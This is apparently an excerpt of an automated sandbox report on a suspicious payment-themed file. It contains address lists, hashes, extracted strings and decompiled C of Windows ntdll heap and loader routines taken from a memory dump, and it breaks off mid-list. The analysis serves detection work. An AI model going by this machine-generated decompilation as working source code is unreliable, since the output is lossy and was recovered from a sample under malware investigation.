0x334f71d2
0x334f71d8
0x334f71dd
0x334f71e0
0x334f71e3
0x334f71e6
0x334f71ed
0x334f71f3
0x334f71f6
0x334f71f9
0x334f71fb
0x334f7201
0x334f7209
0x334f7211
0x334f7211
0x334f7213
0x334f7216
0x334f7219
0x334f7219
0x334f721f
0x00000000
0x00000000
0x334f7227
0x334f722f
0x334f723b
0x334f7245
0x334f7249
0x334f724c
0x334f724e
0x334f725c
0x334f7262
0x334f727c
0x334f7283
0x334f7284
0x334f7264
0x334f7266
0x334f7266
0x334f7269
0x334f726a
0x00000000
0x334f726a
0x334f7250
0x334f7250
0x334f7255
0x334f726f
0x334f726f
0x334f7271
0x334f7272
0x334f7277
0x334f7277
0x334f728c
0x334f728f
0x334f7295
0x334f7298
0x334f729b
0x334f72a1
0x334f72a2
0x334f72a2
0x334f7219
0x334f72aa
0x334f72bf
0x334f72c4
0x334f72c7
0x334f72c7
0x334f72c9
0x334f72cc
0x334f72cf
0x334f72cf
0x334f72d9
0x334f72db
0x00000000
0x00000000
0x334f72dd
0x334f72e1
0x334f72e4
0x334f72e7
0x334f72e8
0x334f72e8
0x334f72ed
0x00000000
0x334f72ed
0x334f7175
0x334f7175
0x334f7179
0x334f72f0
0x334f72f0
0x00000000
0x00000000
0x00000000
0x00000000
0x334f7179
0x00000000
0x334f7173
0x00000000
0x334f7111
0x334f7111
0x334f7118
0x00000000
0x334f711a
0x334f711c
0x334f711f
0x334f7124
0x334f7127
0x334f7129
0x334f713a
0x334f713f
0x334f7142
0x334f7145
0x334f7148
0x334f714d
0x334f7150
0x334f7152
0x334f7153
0x334f7157
0x334f7157
0x00000000
0x334f712b
0x334f712b
0x334f712b
0x334f7361
0x334f7361
0x334f7361
0x334f7129
0x334f7118
0x334f710f
0x334f70ff
0x334f7364
0x334f7364
0x334f736b
0x334f7370
0x334f70c2
0x334f70c2
0x334f70c2
0x334f7375
0x334f7381

Strings

VirtualAlloc, xrefs: 334F727C
Objects>%4u, xrefs: 334F7255
Objects=%4u, xrefs: 334F726A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: Objects=%4u$Objects>%4u$VirtualAlloc
API String ID: 0-3870751728
Opcode ID: abd826ebedf04f282ab2346bb22741b2c33a41f4b0bc1d7b772f7f6066470cc7
Instruction ID: 2bc5dc7e9569ae6df1851b7cb06d996213c5798b5651528e633d402664be00cd
Opcode Fuzzy Hash: abd826ebedf04f282ab2346bb22741b2c33a41f4b0bc1d7b772f7f6066470cc7
Instruction Fuzzy Hash: 3F913CB4E003059FEB14CF99C980B9DBBB1BF48344F18816AE914AB351E77A9842CF58

Uniqueness

Uniqueness Score: -1.00%

Function 3354B2BC Relevance: 3.9, Strings: 3, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E3354B2BC(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, signed int* _a8) {
				signed int _v8;
				char _v532;
				signed int* _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v546;
				signed int _v548;
				signed int _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				char _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				signed int* _v588;
				intOrPtr _v592;
				char _v596;
				char _v600;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t66;
				void* _t70;
				void* _t73;
				void* _t82;
				void* _t86;
				void* _t89;
				intOrPtr* _t101;
				intOrPtr _t112;
				signed int _t114;
				signed int _t115;

				_t111 = __edx;
				_v8 =  *0x3356b370 ^ _t115;
				_v556 = _a4;
				_t112 = 0;
				_v540 = _v540 & 0;
				_v536 = _a8;
				_v560 = __ecx;
				_t101 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x4c);
				if(_t101 == 0) {
					_t113 = 0xc0000017;
					L4:
					if(_t113 < 0) {
						L25:
						if(_t101 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t101);
						}
						return E334B4B50(_t113, _t101, _v8 ^ _t115, _t111, _t112, _t113);
					} else {
						_t66 =  *((intOrPtr*)(_t112 + 1));
						if(_t66 < 2 || _t66 == 5 &&  *((intOrPtr*)(_t112 + 8)) == 0x15 &&  *((intOrPtr*)(_t112 + 0x18)) == 0x1f7) {
							_t113 = 0xc0000136;
							_v540 = 1;
							 *_v536 =  *_v536 & 0x00000000;
						}
						_t124 = _t113;
						if(_t113 >= 0) {
							_t70 = L334939C0(_t101, _t113, _t124,  &_v572, _t112, "true");
							_t113 = _t70;
							if(_t70 >= 0) {
								_v552 = _v552 & 0x00000000;
								_t73 = E334A5BE0(L"GlobalizationUserSettings", L"TargetNtPath", L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\International", 0,  &_v532, 0x208,  &_v552);
								_t113 = _t73;
								if(_t73 >= 0) {
									_t107 = _v552 + 4;
									_t114 = _v572 + _v552 + 0x00000004 & 0x0000ffff;
									_t112 = L33485D90(_v552 + 4,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t114);
									if(_t112 == 0) {
										_t113 = 0xc0000017;
									} else {
										_v548 = _v548 & 0x00000000;
										_v546 = _t114;
										_v544 = _t112;
										_t82 = L3347FE40(_t107,  &_v548,  &_v532);
										_t113 = _t82;
										if(_t82 >= 0) {
											_t86 = L3347FE40(_t107,  &_v548, "\\");
											_t113 = _t86;
											if(_t86 >= 0) {
												_t89 = E334910D0(_t107,  &_v548,  &_v572);
												_t113 = _t89;
												if(_t89 >= 0) {
													_v596 = 0x18;
													_v588 =  &_v548;
													_v592 = 0;
													_push( &_v596);
													_push(0x20019);
													_v584 = 0x240;
													_push( &_v564);
													_v580 = 0;
													_v576 = 0;
													if( *0x3344733c() < 0) {
														__eflags = 1;
														_v540 = 1;
														 *_v536 = 1;
													} else {
														 *0x33447340(_v564);
														 *_v536 = 2;
														_t113 =  *0x3344733c(_v556, _v560,  &_v596);
													}
												}
											}
										}
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t112);
									}
								}
								E33483B90( &_v572);
							}
						}
						if(_v540 != 0) {
							_t111 = _v556;
							_t113 = E3354B55F(_v560, _v556);
						}
						goto L25;
					}
				}
				_t113 =  *0x33447348(0xfffffffa, "true", _t101, 0x4c,  &_v600);
				if(_t113 < 0) {
					goto L25;
				} else {
					_t112 =  *_t101;
					goto L4;
				}
			}

0x3354b2bc
0x3354b2ce
0x3354b2d7
0x3354b2dd
0x3354b2e2
0x3354b2e8
0x3354b2f8
0x3354b306
0x3354b30a
0x3354b32e
0x3354b333
0x3354b335
0x3354b537
0x3354b539
0x3354b547
0x3354b547
0x3354b55c
0x3354b33b
0x3354b33b
0x3354b340
0x3354b35b
0x3354b360
0x3354b36a
0x3354b36a
0x3354b36d
0x3354b36f
0x3354b37f
0x3354b384
0x3354b388
0x3354b38e
0x3354b3b9
0x3354b3be
0x3354b3c2
0x3354b3d4
0x3354b3d9
0x3354b3ed
0x3354b3f1
0x3354b50a
0x3354b3f7
0x3354b3f7
0x3354b40b
0x3354b413
0x3354b419
0x3354b41e
0x3354b422
0x3354b434
0x3354b439
0x3354b43d
0x3354b451
0x3354b456
0x3354b45a
0x3354b466
0x3354b470
0x3354b47e
0x3354b484
0x3354b485
0x3354b490
0x3354b49a
0x3354b49b
0x3354b4a1
0x3354b4af
0x3354b4ee
0x3354b4ef
0x3354b4f5
0x3354b4b1
0x3354b4b7
0x3354b4c3
0x3354b4e2
0x3354b4e2
0x3354b4af
0x3354b45a
0x3354b43d
0x3354b503
0x3354b503
0x3354b3f1
0x3354b516
0x3354b516
0x3354b388
0x3354b522
0x3354b524
0x3354b535
0x3354b535
0x00000000
0x3354b522
0x3354b335
0x3354b320
0x3354b324
0x00000000
0x3354b32a
0x3354b32a
0x00000000
0x3354b32a

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 3354B3AA
TargetNtPath, xrefs: 3354B3AF
GlobalizationUserSettings, xrefs: 3354B3B4

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: 3c1ce3035938a47578d6bf90bdd989289173353335127d769392403b2c0f8b5c
Instruction ID: b2ef87c7869985579b5bccfe21203b572e00542b2c7f4aca47c30ec3e7fc1b35
Opcode Fuzzy Hash: 3c1ce3035938a47578d6bf90bdd989289173353335127d769392403b2c0f8b5c
Instruction Fuzzy Hash: D4617F72D41328AFDB25DF54EC88BD9B7B8AB04710F4101E9A948AB250DB74DE85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 3346F75B Relevance: 3.9, Strings: 3, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E3346F75B(void* __ecx, signed short* __edx) {
				signed int _v8;
				char _v12;
				void* __ebx;
				signed char _t63;
				signed int _t67;
				void* _t71;
				intOrPtr _t72;
				void* _t79;
				signed char* _t82;
				intOrPtr _t83;
				signed char* _t88;
				intOrPtr _t89;
				void* _t90;
				signed char* _t93;
				void* _t126;
				signed int* _t127;

				_t127 = __edx;
				_t126 = __ecx;
				_t58 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t31 =  &(_t127[4]); // 0xddeeddfe
					E334C8140(_t31, _t58 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t63 =  *(_t126 + 0xcc) ^  *0x33566d48;
				if(_t63 == 0) {
					_t63 = L3346F858(_t127,  &_v12,  &_v8);
					if(_t63 != 0) {
						_t71 = L3346FABA( &_v12,  &_v8, 0x4000);
						_t109 = _t71;
						if(_t71 < 0) {
							_t72 =  *[fs:0x30];
							__eflags =  *(_t72 + 0xc);
							if( *(_t72 + 0xc) == 0) {
								_push("HEAP: ");
								L3346B910();
							} else {
								L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t126);
							_t63 = L3346B910("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t109);
						} else {
							_t79 = L33483C40();
							_t110 = 0x7ffe0380;
							if(_t79 != 0) {
								_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t82 = 0x7ffe0380;
							}
							if( *_t82 != 0) {
								_t83 =  *[fs:0x30];
								__eflags =  *(_t83 + 0x240) & 0x00000001;
								if(( *(_t83 + 0x240) & 0x00000001) != 0) {
									E3352F13E(_t110, _t126, _v12, _v8, "true");
								}
							}
							 *((intOrPtr*)(_t126 + 0x220)) =  *((intOrPtr*)(_t126 + 0x220)) + 1;
							 *((intOrPtr*)(_t126 + 0x240)) =  *((intOrPtr*)(_t126 + 0x240)) + 1;
							 *((intOrPtr*)(_t126 + 0x244)) =  *((intOrPtr*)(_t126 + 0x244)) + _v8;
							 *((intOrPtr*)(_t126 + 0x230)) =  *((intOrPtr*)(_t126 + 0x230)) + 1;
							if(L33483C40() != 0) {
								_t88 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t88 = _t110;
							}
							if( *_t88 != 0) {
								_t89 =  *[fs:0x30];
								__eflags =  *(_t89 + 0x240) & 0x00000001;
								if(( *(_t89 + 0x240) & 0x00000001) != 0) {
									__eflags = L33483C40();
									if(__eflags != 0) {
										_t110 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E3352F058(_t110, _t126, _v12, __eflags, _v8,  *(_t126 + 0x74) << 3, 0, 0,  *_t110 & 0x000000ff);
								}
							}
							_t90 = L33483C40();
							_t111 = 0x7ffe038a;
							if(_t90 != 0) {
								_t93 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t93 = 0x7ffe038a;
							}
							if( *_t93 != 0) {
								__eflags = L33483C40();
								if(__eflags != 0) {
									_t111 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								}
								E3352F058(_t111, _t126, _v12, __eflags, _v8,  *(_t126 + 0x74) << 3, 0, 0,  *_t111 & 0x000000ff);
							}
							_t63 = _t127[0] & 0x00000013 | 0x00000008;
							_t127[0] = _t63;
						}
					}
				}
				if( *((intOrPtr*)(_t126 + 0x4c)) != 0) {
					_t127[0] = _t127[0] ^ _t127[0] ^  *_t127;
					_t67 =  *(_t126 + 0x50);
					 *_t127 =  *_t127 ^ _t67;
					return _t67;
				}
				return _t63;
			}

0x3346f765
0x3346f768
0x3346f76a
0x3346f76d
0x3346f771
0x3346f779
0x3346f77c
0x334ce322
0x334ce326
0x334ce32b
0x334ce32b
0x3346f788
0x3346f78e
0x3346f79e
0x3346f7a5
0x3346f7b7
0x3346f7bc
0x3346f7c0
0x334ce419
0x334ce41f
0x334ce423
0x334ce442
0x334ce447
0x334ce425
0x334ce43a
0x334ce43f
0x334ce44d
0x334ce450
0x334ce453
0x334ce45a
0x3346f7c6
0x3346f7c6
0x3346f7cb
0x3346f7d2
0x334ce33d
0x3346f7d8
0x3346f7d8
0x3346f7d8
0x3346f7dd
0x334ce347
0x334ce34d
0x334ce354
0x334ce364
0x334ce364
0x334ce354
0x3346f7e3
0x3346f7ec
0x3346f7f2
0x3346f7f8
0x3346f805
0x334ce377
0x3346f80b
0x3346f80b
0x3346f80b
0x3346f810
0x334ce381
0x334ce387
0x334ce38e
0x334ce399
0x334ce39b
0x334ce3a6
0x334ce3a6
0x334ce3a6
0x334ce3c3
0x334ce3c3
0x334ce38e
0x3346f816
0x3346f81b
0x3346f822
0x334ce3d6
0x3346f828
0x3346f828
0x3346f828
0x3346f82d
0x334ce3e5
0x334ce3e7
0x334ce3f2
0x334ce3f2
0x334ce3f2
0x334ce40f
0x334ce40f
0x3346f838
0x3346f83a
0x3346f83a
0x3346f7c0
0x3346f7a5
0x3346f841
0x3346f84b
0x3346f84e
0x3346f851
0x00000000
0x3346f851
0x3346f857

Strings

HEAP: , xrefs: 334CE442
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 334CE455
HEAP[%wZ]: , xrefs: 334CE435

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 131b895cb59211264ef5a3df78c63dafe659926c25588569b9f15a213be33fef
Instruction ID: fa079fb42bf4f7d28337152c209000f17525604b8b63cdcd52cd4fd0979c4287
Opcode Fuzzy Hash: 131b895cb59211264ef5a3df78c63dafe659926c25588569b9f15a213be33fef
Instruction Fuzzy Hash: 2951063AA00784EFE711CBA4C884F9ABBF8FF04748F0451A5E5908B7A2D774E951CB58

Uniqueness

Uniqueness Score: -1.00%

Function 33491514 Relevance: 3.9, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E33491514(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _t66;
				signed int _t69;
				void* _t73;
				signed int _t75;
				char* _t78;
				intOrPtr _t79;
				signed int _t80;
				char* _t83;
				intOrPtr _t84;
				signed int _t85;
				signed int _t92;
				signed char* _t93;
				signed char _t98;
				intOrPtr _t103;
				signed int _t104;
				void* _t107;
				signed int _t118;
				intOrPtr _t119;
				intOrPtr _t120;

				_t103 = __edx;
				_v8 = __ecx;
				_t118 = 0;
				_t119 =  *((intOrPtr*)(__ecx + 0x20));
				_v16 = __edx;
				_t107 = L3347DE20(__ecx, __eflags,  *((intOrPtr*)(_t119 + 0x18)), "true", 0xe,  &_v20);
				if(_t107 != 0) {
					_t66 = _v8;
					__eflags =  *(_t66 + 0x10) & 0x00800000;
					if(( *(_t66 + 0x10) & 0x00800000) != 0) {
						L19:
						_t118 = 0xc000007b;
						L6:
						return _t118;
					}
					_t69 =  *(_t119 + 0x34) | 0x00400000;
					 *(_t119 + 0x34) = _t69;
					__eflags =  *(_t107 + 0x10) & 0x00000001;
					if(__eflags == 0) {
						goto L1;
					}
					 *(_t119 + 0x34) = _t69 | 0x01000000;
					_t118 = L33466DD0( *((intOrPtr*)(_t119 + 0x18)), __eflags);
					__eflags = _t118;
					if(_t118 < 0) {
						goto L6;
					} else {
						goto L1;
					}
					goto L19;
				}
				L1:
				if(( *(_t103 + 0x16) & 0x00002000) == 0) {
					 *(_t119 + 0x34) =  *(_t119 + 0x34) & 0xfffffffb;
					goto L6;
				}
				if(( *( *((intOrPtr*)(_t119 + 0x5c)) + 0x10) & 0x00000080) != 0) {
					__eflags =  *(_t103 + 0x5e) & 0x00000080;
					if(( *(_t103 + 0x5e) & 0x00000080) != 0) {
						goto L3;
					}
					_t98 =  *0x335637c0; // 0x0
					__eflags = _t98 & 0x00000003;
					if((_t98 & 0x00000003) != 0) {
						_t45 = _t119 + 0x24; // 0x123
						E334EE692("minkernel\\ntdll\\ldrmap.c", 0x3a2, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t45);
						_t98 =  *0x335637c0; // 0x0
					}
					__eflags = _t98 & 0x00000010;
					if((_t98 & 0x00000010) != 0) {
						asm("int3");
					}
					_t118 = 0xc0000428;
					goto L6;
				}
				L3:
				if(( *(_t119 + 0x34) & 0x01000000) != 0) {
					goto L6;
				}
				_t73 = _a4 - 0x40000003;
				if(_t73 == 0 || _t73 == 0x33) {
					_v12 =  *((intOrPtr*)(_t119 + 0x18));
					_t75 = L33483C40();
					__eflags = _t75;
					if(_t75 != 0) {
						_t78 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t78 = 0x7ffe0384;
					}
					__eflags =  *_t78;
					_t104 = 0x7ffe0385;
					if( *_t78 != 0) {
						_t79 =  *[fs:0x30];
						__eflags =  *(_t79 + 0x240) & 0x00000004;
						if(( *(_t79 + 0x240) & 0x00000004) != 0) {
							_t92 = L33483C40();
							__eflags = _t92;
							if(_t92 == 0) {
								_t93 = 0x7ffe0385;
							} else {
								_t93 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t93 & 0x00000020;
							if(( *_t93 & 0x00000020) != 0) {
								E334F0227(0x1490, _v12, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					__eflags = _a4 - 0x40000003;
					if(_a4 != 0x40000003) {
						L12:
						_t120 =  *((intOrPtr*)(_t119 + 0x18));
						_t80 = L33483C40();
						__eflags = _t80;
						if(_t80 != 0) {
							_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t83 = 0x7ffe0384;
						}
						__eflags =  *_t83;
						if( *_t83 != 0) {
							_t84 =  *[fs:0x30];
							__eflags =  *(_t84 + 0x240) & 0x00000004;
							if(( *(_t84 + 0x240) & 0x00000004) != 0) {
								_t85 = L33483C40();
								__eflags = _t85;
								if(_t85 != 0) {
									_t104 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
									__eflags = _t104;
								}
								__eflags =  *_t104 & 0x00000020;
								if(( *_t104 & 0x00000020) != 0) {
									E334F0227(0x1491, _t120, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						goto L6;
					} else {
						_t21 = _t119 + 0x24; // 0x123
						_v12 = _t21;
						_t118 = E334AD3EF( *((intOrPtr*)(_t119 + 0x18)),  *((intOrPtr*)(_v8 + 0x5c)), _v16, _t21);
						__eflags = _t118;
						if(_t118 < 0) {
							L334AC98F(_t118, 0x1490, 0, _v12);
							goto L6;
						}
						goto L12;
					}
				} else {
					goto L6;
				}
			}

0x3349151f
0x33491523
0x33491526
0x33491528
0x33491536
0x3349153e
0x33491542
0x334915f5
0x334915f8
0x334915ff
0x334da34d
0x334da34d
0x3349157c
0x33491582
0x33491582
0x33491608
0x3349160d
0x33491610
0x33491614
0x00000000
0x00000000
0x334da35f
0x334da367
0x334da369
0x334da36b
0x00000000
0x334da371
0x00000000
0x334da371
0x00000000
0x334da36b
0x33491548
0x33491551
0x334da376
0x00000000
0x334da376
0x3349155e
0x334da37f
0x334da383
0x00000000
0x00000000
0x334da389
0x334da38e
0x334da390
0x334da392
0x334da3ac
0x334da3b1
0x334da3b6
0x334da3b9
0x334da3bb
0x334da3bd
0x334da3bd
0x334da3be
0x00000000
0x334da3be
0x33491564
0x3349156b
0x00000000
0x00000000
0x33491570
0x33491575
0x33491588
0x3349158b
0x33491590
0x33491592
0x334da3d1
0x33491598
0x33491598
0x33491598
0x3349159d
0x334915a0
0x334915a5
0x334da3db
0x334da3e1
0x334da3e8
0x334da3ee
0x334da3f3
0x334da3f5
0x334da407
0x334da3f7
0x334da400
0x334da400
0x334da409
0x334da40c
0x334da422
0x334da422
0x334da40c
0x334da3e8
0x334915ab
0x334915b2
0x334915d6
0x334915d6
0x334915d9
0x334915de
0x334915e0
0x334da44b
0x334915e6
0x334915e6
0x334915e6
0x334915eb
0x334915ee
0x334da455
0x334da45b
0x334da462
0x334da468
0x334da46d
0x334da46f
0x334da47a
0x334da47a
0x334da47a
0x334da480
0x334da483
0x334da498
0x334da498
0x334da483
0x334da462
0x00000000
0x334915b4
0x334915b7
0x334915be
0x334915cc
0x334915ce
0x334915d0
0x334da438
0x00000000
0x334da438
0x00000000
0x334915d0
0x00000000
0x00000000
0x00000000

Strings

LdrpCompleteMapModule, xrefs: 334DA39D
minkernel\ntdll\ldrmap.c, xrefs: 334DA3A7
Could not validate the crypto signature for DLL %wZ, xrefs: 334DA396

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: d5f317be34c4b458f6ba15775ad36e938242d097488c562fea89bf4c52331887
Instruction ID: c82011f5d62fdad7ac64eceed14ebf644cf9b5f60829497d294cf3ad32f85585
Opcode Fuzzy Hash: d5f317be34c4b458f6ba15775ad36e938242d097488c562fea89bf4c52331887
Instruction Fuzzy Hash: 22512378A007419FF711CF6CC954B4A7BE5AB40764F190598E8A19BBE2DB74E901CB4C

Uniqueness

Uniqueness Score: -1.00%

Function 3351D62C Relevance: 3.9, Strings: 3, Instructions: 163
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E3351D62C(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed int _t52;
				intOrPtr _t53;
				signed int _t63;
				signed short _t64;
				intOrPtr _t67;
				signed short _t71;
				signed int _t74;
				signed short _t75;
				signed short _t77;
				void* _t81;
				signed int _t82;
				signed int _t83;
				signed char _t92;
				unsigned int _t97;
				unsigned int _t102;
				signed int _t106;
				void* _t108;
				void* _t109;
				unsigned int _t112;

				_t82 = __ecx;
				_push(__ecx);
				_t112 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t71 =  *__edx;
							if(( *(__ecx + 0x4c) & _t71) != 0) {
								_t71 = _t71 ^  *(__ecx + 0x50);
							}
							_t44 = _t71 & 0x0000ffff;
						}
					} else {
						_t102 = __edx >> 0x00000003 ^  *__edx ^  *0x33566964 ^ __ecx;
						if(_t102 == 0) {
							_t74 =  *((intOrPtr*)(__edx - (_t102 >> 0xd)));
						} else {
							_t74 = 0;
						}
						_t44 =  *((intOrPtr*)(_t74 + 0x14));
					}
					_t92 =  *((intOrPtr*)(_t112 + 7));
					_t106 = _t44 & 0xffff;
					if(_t92 != 5) {
						if((_t92 & 0x00000040) == 0) {
							if((_t92 & 0x0000003f) == 0x3f) {
								if(_t92 >= 0) {
									if( *(_t82 + 0x4c) == 0) {
										_t48 =  *_t112 & 0x0000ffff;
									} else {
										_t64 =  *_t112;
										if(( *(_t82 + 0x4c) & _t64) != 0) {
											_t64 = _t64 ^  *(_t82 + 0x50);
										}
										_t48 = _t64 & 0x0000ffff;
									}
								} else {
									_t97 = _t112 >> 0x00000003 ^  *_t112 ^  *0x33566964 ^ _t82;
									if(_t97 == 0) {
										_t67 =  *((intOrPtr*)(_t112 - (_t97 >> 0xd)));
									} else {
										_t67 = 0;
									}
									_t48 =  *((intOrPtr*)(_t67 + 0x14));
								}
								_t83 =  *(_t112 + (_t48 & 0xffff) * 8 - 4);
							} else {
								_t83 = _t92 & 0x3f;
							}
						} else {
							_t83 =  *(_t112 + 4 + (_t92 & 0x3f) * 8) & 0x0000ffff;
						}
					} else {
						_t83 =  *(_t82 + 0x54) & 0x0000ffff ^  *(_t112 + 4) & 0x0000ffff;
					}
					_t108 = (_t106 << 3) - _t83;
				} else {
					if( *(__ecx + 0x4c) == 0) {
						_t75 =  *__edx & 0x0000ffff;
					} else {
						_t77 =  *__edx;
						if(( *(__ecx + 0x4c) & _t77) != 0) {
							_t77 = _t77 ^  *(__ecx + 0x50);
						}
						_t75 = _t77 & 0x0000ffff;
					}
					_t108 =  *((intOrPtr*)(_t112 - 8)) - (_t75 & 0x0000ffff);
				}
				_t51 =  *((intOrPtr*)(_t112 + 7));
				if(_t51 != 5) {
					if((_t51 & 0x00000040) == 0) {
						_t52 = 0;
						goto L42;
					}
					_t63 = _t51 & 0x3f;
					goto L38;
				} else {
					_t63 =  *(_t112 + 6) & 0x000000ff;
					L38:
					_t52 = _t63 << 3;
					L42:
					_t109 = _t108 + _t52;
					_t35 = _t112 + 8; // -16
					_t81 = _t35 + _t109;
					_t53 = E334C8050(_t81, 0x334472b8, "true");
					_v8 = _t53;
					if(_t53 == 8) {
						goto L49;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						L3346B910();
					} else {
						L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t109);
					_push(_v8 + _t81);
					L3346B910("Heap block at %p modified at %p past requested size of %Ix\n", _t112);
					if( *((char*)( *[fs:0x30] + 2)) != 0) {
						 *0x335647a1 = 1;
						asm("int3");
						 *0x335647a1 = 0;
					}
					_t43 = 0;
					goto L50;
				}
			}

0x3351d62c
0x3351d631
0x3351d634
0x3351d637
0x3351d63c
0x3351d7de
0x3351d7de
0x3351d7e0
0x3351d7e4
0x3351d7e4
0x3351d644
0x3351d66d
0x3351d698
0x3351d6a9
0x3351d69a
0x3351d69a
0x3351d69f
0x3351d6a1
0x3351d6a1
0x3351d6a4
0x3351d6a4
0x3351d66f
0x3351d67a
0x3351d67f
0x3351d68c
0x3351d681
0x3351d681
0x3351d681
0x3351d68e
0x3351d68e
0x3351d6ac
0x3351d6b2
0x3351d6b8
0x3351d6c9
0x3351d6de
0x3351d6ea
0x3351d717
0x3351d728
0x3351d719
0x3351d719
0x3351d71e
0x3351d720
0x3351d720
0x3351d723
0x3351d723
0x3351d6ec
0x3351d6f9
0x3351d6fe
0x3351d70b
0x3351d700
0x3351d700
0x3351d700
0x3351d70d
0x3351d70d
0x3351d731
0x3351d6e0
0x3351d6e3
0x3351d6e3
0x3351d6cb
0x3351d6d1
0x3351d6d1
0x3351d6ba
0x3351d6c2
0x3351d6c2
0x3351d738
0x3351d646
0x3351d64a
0x3351d65b
0x3351d64c
0x3351d64c
0x3351d651
0x3351d653
0x3351d653
0x3351d656
0x3351d656
0x3351d664
